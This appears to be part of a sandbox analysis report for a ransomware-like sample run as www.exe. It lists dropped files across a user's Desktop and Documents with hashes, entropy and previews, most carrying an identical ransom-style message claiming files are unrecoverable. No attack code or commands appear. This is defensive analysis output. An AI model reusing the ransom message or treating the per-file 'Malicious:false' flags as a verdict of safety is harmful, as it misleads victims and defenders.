    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\SUAVTZKNFL.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\Word 2016.lnk
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\ZGGKNSUKOP.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\ZQIXMVQGAH.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\ZQIXMVQGAH\GAOBCVIQIJ.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\ZQIXMVQGAH\PWCCAWLGRE.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Desktop\ZQIXMVQGAH\QCFWYSKMHA.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\ZQIXMVQGAH\QNCYCDFIJJ.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\ZQIXMVQGAH\SUAVTZKNFL.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\ZQIXMVQGAH\ZQIXMVQGAH.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\BNAGMGSPLO.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\EEGWXUHVUG.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Documents\EFOYFBOLXA.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\EFOYFBOLXA.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\GAOBCVIQIJ.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\GAOBCVIQIJ.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\GAOBCVIQIJ\BNAGMGSPLO.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\GAOBCVIQIJ\EEGWXUHVUG.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Documents\GAOBCVIQIJ\EFOYFBOLXA.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\GAOBCVIQIJ\GAOBCVIQIJ.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\GAOBCVIQIJ\QCFWYSKMHA.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\GAOBCVIQIJ\SUAVTZKNFL.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\PALRGUCVEH.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Documents\PWCCAWLGRE.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Documents\QCFWYSKMHA.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\QCFWYSKMHA.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Documents\QNCYCDFIJJ.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
